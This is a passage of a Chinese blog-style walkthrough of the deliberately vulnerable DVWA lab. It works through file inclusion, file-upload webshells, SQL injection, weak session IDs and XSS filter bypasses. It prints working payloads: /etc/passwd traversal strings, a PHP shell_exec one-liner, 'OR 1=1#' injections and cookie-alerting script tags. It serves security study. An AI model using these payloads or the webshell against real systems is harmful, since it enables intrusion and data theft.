<h2 id= "medium模式-2" > <a href= "#medium模式-2" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 检查 HTTP_REFERER( http包头的Referer参数的值, 表示来源地址) 中是否包含SERVER_NAME( http包头的Host参数, 及要访问的主机名, ) <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > // Checks to see where the request came from</span> <br > <span class= "line" > if( stripos( $_SERVER[ ' HTTP_REFERER' ] ,$_SERVER[ ' SERVER_NAME' ]) !== false ) { </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 想要通过验证, 就必须保证在http请求中Referer字段中必须包含Host<br > 我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上)</p>
<h1 id= "文件包含" > <a href= "#文件包含" class= "headerlink" title= "文件包含" > </a> 文件包含</h1> <h2 id= "easy模式-3" > <a href= "#easy模式-3" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <p > 某些Web应用程序允许用户指定直接用于文件流的输入, 或允许用户将文件上载到服务器。稍后, Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做, Web应用程序允许潜在的恶意文件执行。<br > 如果选择要包含的文件在目标计算机上是本地的, 则称为“本地文件包含( LFI) 。但是文件也可以包含在其他计算机上, 然后攻击是”远程文件包含( RFI) 。<br > 当RFI不是一种选择时。使用LFI的另一个漏洞( 例如文件上传和目录遍历) 通常可以达到同样的效果。<br > 注意,术语“文件包含”与“任意文件访问”或“文件公开”不同。<br > 只使用文件包含来阅读’../hackable/flags/fi.php’ 中的所有五个着名引号。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < ?php</span> <br > <span class= "line" > </span> <br > <span class= "line" > // The page we wish to display</span> <br > <span class= "line" > $file = $_GET[ ' page' ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > ?> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 文件包含漏洞的一般特征如下:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ?page=a.php</span> <br > <span class= "line" > </span> <br > <span class= "line" > ?home=a.html</span> <br > <span class= "line" > </span> <br > <span class= "line" > ?file=content</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 几种经典的测试方法:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ?file=../../../../../etc/passwdd</span> <br > <span class= "line" > ?page=file:///etc/passwd</span> <br > <span class= "line" > ?home=main.cgi</span> <br > <span class= "line" > ?page=http://www.a.com/1.php</span> <br > <span class= "line" > =http://1.1.1.1/../../../../dir/file.txt</span> <br > <span class= "line" > (通过多个../可以让目录回到根目录中然后再进入目标目录)</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "medium模式-3" > <a href= "#medium模式-3" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 增加对绝对路径http和相对路径的检查<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > // Input validation</span> <br > <span class= "line" > $file = str_replace( array( " http://" , " https://" ), " " , $file );</span> <br > <span class= "line" > $file = str_replace( array( " ../" , " ..\" " ), " " , $file );</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 但依然可以使用?page=file:///etc/passwd<br > 以及重复字符过滤方法,构造url</p>
<ol >
<li > 构造url为 httphttp:// – > http</li>
<li > 构造url为 httphttp://:// – > http://</li>
<li > 构造url为 …/./ – > ../</li>
</ol>
<h1 id= "文件上传" > <a href= "#文件上传" class= "headerlink" title= "文件上传" > </a> 文件上传</h1> <h2 id= "easy模式-4" > <a href= "#easy模式-4" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > 上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。<br > 不受限制的文件上载的后果可能会有所不同,包括完整的系统接管,过载的文件系统,向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用,包括存储位置。<br > 由于此文件上载漏洞, 请在目标系统上执行您选择的任何PHP函数( 例如phpinfo( ) 或system( ) ) 。</p>
</blockquote>
<p > 一句话木马1.php文件: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < ?php</span> <br > <span class= "line" > echo shell_exec($_GET[' cmd' ]);</span> <br > <span class= "line" > ?> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_POST[ <span class= "string" > 'Upload'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Where are we going to be writing to?</span> </span> <br > <span class= "line" > $target_path = DVWA_WEB_PAGE_TO_ROOT . <span class= "string" > "hackable/uploads/"</span> ;</span> <br > <span class= "line" > $target_path .= basename( $_FILES[ <span class= "string" > 'uploaded'</span> ][ <span class= "string" > 'name'</span> ] );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Can we move the file to the upload folder?</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( !move_uploaded_file( $_FILES[ <span class= "string" > 'uploaded'</span> ][ <span class= "string" > 'tmp_name'</span> ], $target_path ) ) { </span> <br > <span class= "line" > <span class= "comment" > // No</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > '< pre> Your image was not uploaded.< /pre> '</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "keyword" > else</span> { </span> <br > <span class= "line" > <span class= "comment" > // Yes!</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > "< pre> { $target_path} succesfully uploaded!< /pre> "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "medium模式-4" > <a href= "#medium模式-4" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 增加了对文件类型和大小的过滤,只允许图片上传<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > // File information</span> <br > <span class= "line" > $uploaded_name = $_FILES[ ' uploaded' ][ ' name' ];</span> <br > <span class= "line" > $uploaded_type = $_FILES[ ' uploaded' ][ ' type' ];</span> <br > <span class= "line" > $uploaded_size = $_FILES[ ' uploaded' ][ ' size' ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > // Is it an image?</span> <br > <span class= "line" > if( ( $uploaded_type == " image/jpeg" || $uploaded_type == " image/png" ) & & </span> <br > <span class= "line" > ( $uploaded_size < 100000 ) ) { </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传: <br > <a href= "http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls" target= "_blank" rel= "noopener" > http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls</a> </p>
<h1 id= "SQL注入" > <a href= "#SQL注入" class= "headerlink" title= "SQL注入" > </a> SQL注入</h1> <h2 id= "easy模式-5" > <a href= "#easy模式-5" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据, 修改数据库数据( 插入/更新/删除) , 对数据库执行管理操作( 如关闭DBMS) , 恢复DBMS文件中存在的给定文件的内容system( load_file) , 在某些情况下向操作系统发出命令。<br > SQL注入攻击是一种注入攻击, 其中SQL命令被注入到数据平面输入中, 以便实现预定义的SQL命令。<br > 这种攻击也可称为“SQLi”。</p>
</blockquote>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < ?php</span> <br > <span class= "line" > </span> <br > <span class= "line" > if( isset( $_REQUEST[ ' Submit' ] ) ) { </span> <br > <span class= "line" > // Get input</span> <br > <span class= "line" > $id = $_REQUEST[ ' id' ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > // Check database</span> <br > <span class= "line" > $query = " SELECT first_name, last_name FROM users WHERE user_id = ' $id' ;" ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[" ___mysqli_ston" ], $query ) or die( ' < pre> ' . ((is_object($GLOBALS[" ___mysqli_ston" ])) ? mysqli_error($GLOBALS[" ___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' < /pre> ' );</span> <br > <span class= "line" > </span> <br > <span class= "line" > // Get results</span> <br > <span class= "line" > while( $row = mysqli_fetch_assoc( $result ) ) { </span> <br > <span class= "line" > // Get values</span> <br > <span class= "line" > $first = $row[" first_name" ];</span> <br > <span class= "line" > $last = $row[" last_name" ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > // Feedback for end user</span> <br > <span class= "line" > echo " < pre> ID: { $id} < br /> First name: { $first} < br /> Surname: { $last} < /pre> " ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > mysqli_close($GLOBALS[" ___mysqli_ston" ]);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ?> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 在做查询操作时,未对$id做任何限制, 直接传入了sql语句, 造成字符型注入</p>
<p > 原SELECT语句<br > <code > SELECT first_name, last_name FROM users WHERE user_id = ' $id' ;</code> <br > 中的$id可以任意输入。<br > 当输入$id=123’ OR 1=1#时, SELECT语句变成了<br > <code > SELECT first_name, last_name FROM users WHERE user_id = ' 123' OR 1=1#' ;</code> <br > 此时最后一个引号被#注释, 同时1=1永远返回TRUE, 这就导致所有用户的姓名泄露。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ID: 123' OR 1=1#</span> <br > <span class= "line" > First name: admin</span> <br > <span class= "line" > Surname: admin</span> <br > <span class= "line" > ID: 123' OR 1=1#</span> <br > <span class= "line" > First name: Gordon</span> <br > <span class= "line" > Surname: Brown</span> <br > <span class= "line" > ID: 123' OR 1=1#</span> <br > <span class= "line" > First name: Hack</span> <br > <span class= "line" > Surname: Me</span> <br > <span class= "line" > ID: 123' OR 1=1#</span> <br > <span class= "line" > First name: Pablo</span> <br > <span class= "line" > Surname: Picasso</span> <br > <span class= "line" > ID: 123' OR 1=1#</span> <br > <span class= "line" > First name: Bob</span> <br > <span class= "line" > Surname: Smith</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 那如果想要得到密码该怎么做, UNION 操作符用于合并两个或多个 SELECT 语句的结果集, 我们可以这样构造id<br > <code > $id=123' or 1=1# union SELECT first_name,password FROM</code> <br > 但貌似表里没有password<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > users</span> <br > <span class= "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users</span> <br > <span class= "line" > First name: admin</span> <br > <span class= "line" > Surname: admin</span> <br > <span class= "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users</span> <br > <span class= "line" > First name: Gordon</span> <br > <span class= "line" > Surname: Brown</span> <br > <span class= "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users</span> <br > <span class= "line" > First name: Hack</span> <br > <span class= "line" > Surname: Me</span> <br > <span class= "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users</span> <br > <span class= "line" > First name: Pablo</span> <br > <span class= "line" > Surname: Picasso</span> <br > <span class= "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users</span> <br > <span class= "line" > First name: Bob</span> <br > <span class= "line" > Surname: Smith</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "medium模式-5" > <a href= "#medium模式-5" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 前端只能选择,前源码过滤了字符<br > <code > $id = mysqli_real_escape_string($GLOBALS[" ___mysqli_ston" ], $id);</code> <br > 其中受影响的字符如下:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > \x00</span> <br > <span class= "line" > \n</span> <br > <span class= "line" > \r</span> <br > <span class= "line" > \</span> <br > <span class= "line" > ' </span> <br > <span class= "line" > " </span> <br > <span class= "line" > \x1a</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 但由于其为字符型注入,因此防御手段形同虚设<br > 构造id=1 or 1=1#即得到所有用户信息</p>
<h1 id= "SQL盲注" > <a href= "#SQL盲注" class= "headerlink" title= "SQL盲注" > </a> SQL盲注</h1> <blockquote >
<p > 盲注, 与一般注入的区别在于, 一般的注入攻击者可以直接从页面上看到注入语句的执行结果, 而盲注时攻击者通常是无法从显示页面上获取执行结果, 甚至连注入语句是否执行都无从得知, 因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。<br > 1.判断是否存在注入,注入是字符型还是数字型<br > 2.猜解当前数据库名<br > 3.猜解数据库中的表名<br > 4.猜解表中的字段名<br > 5.猜解数据</p>
</blockquote>
<figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_GET[ <span class= "string" > 'Submit'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get input</span> </span> <br > <span class= "line" > $id = $_GET[ <span class= "string" > 'id'</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Check database</span> </span> <br > <span class= "line" > $getid = <span class= "string" > "SELECT first_name, last_name FROM users WHERE user_id = '$id';"</span> ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $getid ); <span class= "comment" > // Removed 'or die' to suppress mysql errors</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Get results</span> </span> <br > <span class= "line" > $num = @mysqli_num_rows( $result ); <span class= "comment" > // The '@' character suppresses errors</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( $num > <span class= "number" > 0</span> ) { </span> <br > <span class= "line" > <span class= "comment" > // Feedback for end user</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > '< pre> User ID exists in the database.< /pre> '</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "keyword" > else</span> { </span> <br > <span class= "line" > <span class= "comment" > // User wasn't found, so the page wasn't!</span> </span> <br > <span class= "line" > header( $_SERVER[ <span class= "string" > 'SERVER_PROTOCOL'</span> ] . <span class= "string" > ' 404 Not Found'</span> );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Feedback for end user</span> </span> <br > <span class= "line" > <span class= "keyword" > echo</span> <span class= "string" > '< pre> User ID is MISSING from the database.< /pre> '</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ((is_null($___mysqli_res = mysqli_close($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]))) ? <span class= "keyword" > false</span> : $___mysqli_res);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 查看源码发现还是没有对id做过滤, 但是它不会返回错误信息, 只会告诉你User ID exists in the database.以及User ID is MISSING from the database.</p>
<p > 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。<br > 如果手工盲注的话, 需要对sql语法相当熟悉。类似: <br > <a href= "https://www.freebuf.com/articles/web/120985.html" target= "_blank" rel= "noopener" > https://www.freebuf.com/articles/web/120985.html</a> <br > 如果自动盲注的话, 可以使用sqlmap来完成, 类似: <br > <a href= "https://www.jianshu.com/p/ec2ca79e74b2" target= "_blank" rel= "noopener" > https://www.jianshu.com/p/ec2ca79e74b2</a> </p>
<h1 id= "弱session-id" > <a href= "#弱session-id" class= "headerlink" title= "弱session-id" > </a> 弱session-id</h1> <h2 id= "easy模式-6" > <a href= "#easy模式-6" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <p > session-ID通常是在登录后作为特定用户访问站点所需的唯一内容, 如果能够计算或轻易猜到该会话ID, 则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞, 如跨站点脚本。</p>
<p > 根据源码可以看出来session每次加1<br > <figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > $html = <span class= "string" > ""</span> ;</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ($_SERVER[<span class= "string" > 'REQUEST_METHOD'</span> ] == <span class= "string" > "POST"</span> ) { </span> <br > <span class= "line" > <span class= "keyword" > if</span> (!<span class= "keyword" > isset</span> ($_SESSION[<span class= "string" > 'last_session_id'</span> ])) { </span> <br > <span class= "line" > $_SESSION[<span class= "string" > 'last_session_id'</span> ] = <span class= "number" > 0</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > $_SESSION[<span class= "string" > 'last_session_id'</span> ]++;</span> <br > <span class= "line" > $cookie_value = $_SESSION[<span class= "string" > 'last_session_id'</span> ];</span> <br > <span class= "line" > setcookie(<span class= "string" > "dvwaSession"</span> , $cookie_value);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 按f12看application-cookies也能发现这个规律。<br > 然后使用hackbar这个扩展程序攻击。</p>
<h2 id= "medium模式-6" > <a href= "#medium模式-6" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 从源码中可以看到dvwaSession就是时间戳<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < ?php</span> <br > <span class= "line" > </span> <br > <span class= "line" > $html = " " ;</span> <br > <span class= "line" > </span> <br > <span class= "line" > if ($_SERVER[' REQUEST_METHOD' ] == " POST" ) { </span> <br > <span class= "line" > $cookie_value = time();</span> <br > <span class= "line" > setcookie(" dvwaSession" , $cookie_value);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > ?> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "基于DOM的XSS" > <a href= "#基于DOM的XSS" class= "headerlink" title= "基于DOM的XSS" > </a> 基于DOM的XSS</h1> <h2 id= "easy模式-7" > <a href= "#easy模式-7" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > “跨站点脚本( XSS) ”攻击是一种注入问题, 其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码( 通常以浏览器端脚本的形式) 发送给不同的最终用户时, 就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍, 并且发生在使用输出中的用户输入的Web应用程序的任何地方, 而不验证或编码它。</p>
<p > 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任, 并将执行JavaScript。因为它认为脚本来自可靠来源, 所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie, 会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
<p > 基于DOM的XSS是一个特殊情况, 反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽, 并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。</p>
</blockquote>
<p > 查看页面源代码<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > </span> <br > <span class= "line" > < script> </span> <br > <span class= "line" > if (document.location.href.indexOf(" default=" ) > = 0) { </span> <br > <span class= "line" > var lang = document.location.href.substring(document.location.href.indexOf(" default=" )+8);</span> <br > <span class= "line" > document.write(" < option value=' " + lang + " ' > " + decodeURI(lang) + " < /option> " );</span> <br > <span class= "line" > document.write(" < option value=' ' disabled=' disabled' > ----< /option> " );</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > document.write(" < option value=' English' > English< /option> " );</span> <br > <span class= "line" > document.write(" < option value=' French' > French< /option> " );</span> <br > <span class= "line" > document.write(" < option value=' Spanish' > Spanish< /option> " );</span> <br > <span class= "line" > document.write(" < option value=' German' > German< /option> " );</span> <br > <span class= "line" > < /script> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<ul >
<li > indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。</li>
<li > substring() 方法用于提取字符串中介于两个指定下标之间的字符。</li>
<li > decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码</li>
<li > 所以lang被赋值为”default=”之后的字串, 如果插入js代码, 插入的 javascript 代码可以在 decodeURL(lang) 被执行</li>
</ul>
<p > <code > http://192.168.31.84:81/vulnerabilities/xss_d/?default=English< script> alert(document.cookie)< /script> </code> <br > 这个uri被用户点击之后会被弹窗, 但是在chrome测试了很多次都不行, firefox就可以</p>
<h2 id= "medium模式-7" > <a href= "#medium模式-7" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 相对于easy模式增加了对script的过滤<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > # Do not allow script tags</span> <br > <span class= "line" > if (stripos ($default, " < script" ) !== false) { </span> <br > <span class= "line" > header (" location: ?default=English" );</span> <br > <span class= "line" > exit;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 绕过有两种方式</p>
<ol >
<li > 方式1<br > url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤<br > <code > http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#< script> alert(document.cookie)< /script> </code> </li>
<li > 方法2<br > 或者就是用img标签或其他标签的特性去执行js代码, 比如img标签的onerror事件, 构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框, 证明出来有xss)<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > </span> <br > <span class= "line" > # 反射型xss</span> <br > <span class= "line" > ## easy模式</span> <br > <span class= "line" > > 反射型( 非持久) : 主要用于将恶意代码附加到URL地址的参数中, 常用于窃取客户端cookie信息和钓鱼欺骗。</span> <br > <span class= "line" > </span> <br > <span class= "line" > 查看源码,服务器直接把客户端的输入返回回来显示</span> <br > <span class= "line" > ```php</span> <br > <span class= "line" > < ?php</span> <br > <span class= "line" > </span> <br > <span class= "line" > header (" X-XSS-Protection: 0" );</span> <br > <span class= "line" > </span> <br > <span class= "line" > // Is there any input?</span> <br > <span class= "line" > if( array_key_exists( " name" , $_GET ) & & $_GET[ ' name' ] != NULL ) { </span> <br > <span class= "line" > // Feedback for end user</span> <br > <span class= "line" > echo ' < pre> Hello ' . $_GET[ ' name' ] . ' < /pre> ' ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ?> </span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<p > <a href= "http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E" target= "_blank" rel= "noopener" > http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E</a> </p>
<h2 id= "medium模式-8" > <a href= "#medium模式-8" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 源码里检查了script标签<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > // Get input</span> <br > <span class= "line" > $name = str_replace( ' < script> ' , ' ' , $_GET[ ' name' ] );</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > str_replace这个函数是不区分大小写的, 而且只替换一次<br > 改成大写就可以了<code > < SCRIPT> alert(' xss' )< /script> </code> <br > 或者嵌套<code > < scr< script> ipt> alert(' xss' )< /script> </code> </p>
<p > 但对name审查没有这么严格, 同样可以采用嵌套或大小写的方法: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > < scr< script> ipt> alert(' fuck' )< /script> </span> <br > <span class= "line" > < SCRIPT> alert(' fuck' )< /script> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "存储型xss" > <a href= "#存储型xss" class= "headerlink" title= "存储型xss" > </a> 存储型xss</h1> <h2 id= "easy模式-8" > <a href= "#easy模式-8" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > “跨站点脚本( XSS) ”攻击是一种注入问题, 其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码( 通常以浏览器端脚本的形式) 发送给不同的最终用户时, 就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍, 并且发生在使用输出中的用户输入的Web应用程序的任何地方, 而不验证或编码它。</p>
<p > 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任, 并将执行JavaScript。因为它认为脚本来自可靠来源, 所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie, 会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
<p > XSS存储在数据库中。 XSS是永久性的, 直到重置数据库或手动删除有效负载。</p>
</blockquote>
<p > 查看源码<br > trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠, 两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符, 像x00,n,r,,’ ,”,x1a等, 来预防数据库攻击。<br > <figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_POST[ <span class= "string" > 'btnSign'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get input</span> </span> <br > <span class= "line" > $message = trim( $_POST[ <span class= "string" > 'mtxMessage'</span> ] );</span> <br > <span class= "line" > $name = trim( $_POST[ <span class= "string" > 'txtName'</span> ] );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Sanitize message input</span> </span> <br > <span class= "line" > $message = stripslashes( $message );</span> <br > <span class= "line" > $message = ((<span class= "keyword" > isset</span> ($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) & & is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_real_escape_string($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $message ) : ((trigger_error(<span class= "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span> , E_USER_ERROR)) ? <span class= "string" > ""</span> : <span class= "string" > ""</span> ));</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Sanitize name input</span> </span> <br > <span class= "line" > $name = ((<span class= "keyword" > isset</span> ($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) & & is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_real_escape_string($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $name ) : ((trigger_error(<span class= "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."</span> , E_USER_ERROR)) ? <span class= "string" > ""</span> : <span class= "string" > ""</span> ));</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Update database</span> </span> <br > <span class= "line" > $query = <span class= "string" > "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"</span> ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $query ) <span class= "keyword" > or</span> <span class= "keyword" > die</span> ( <span class= "string" > '< pre> '</span> . ((is_object($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ])) ? mysqli_error($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : <span class= "keyword" > false</span> )) . <span class= "string" > '< /pre> '</span> );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > //mysql_close();</span> </span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 插入之后会成为页面的元素显示出来<br > <code > < div id=" guestbook_comments" > Name: 11< br /> Message: 111< br /> < /div> </code> <br > 看一下提交的方式:<br > <code > txtName=22& mtxMessage=222& btnSign=Sign+Guestbook</code> <br > 直接插入script语句, <code > txtName=22< script> alert(1)< /script> & mtxMessage=222& btnSign=Sign+Guestbook</code> </p>
<h2 id= "medium模式-9" > <a href= "#medium模式-9" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 源码中增加了几个函数的使用:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > * $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。</span> <br > <span class= "line" > * $message = htmlspecialchars( $message ); 把预定义的字符 " < " (小于)和 " > " (大于)转换为 HTML 实体:</span> <br > <span class= "line" > * $name = str_replace( ' < script> ' , ' ' , $name );</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "绕过安全策略" > <a href= "#绕过安全策略" class= "headerlink" title= "绕过安全策略" > </a> 绕过安全策略</h1> <h2 id= "easy模式-9" > <a href= "#easy模式-9" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > 内容安全策略( CSP) 用于定义可以从中加载或执行脚本和其他资源的位置。本单元将引导您根据开发人员常见错误绕过策略。<br > 这些漏洞都不是CSP中的实际漏洞, 它们是实施漏洞的漏洞。</p>
</blockquote>
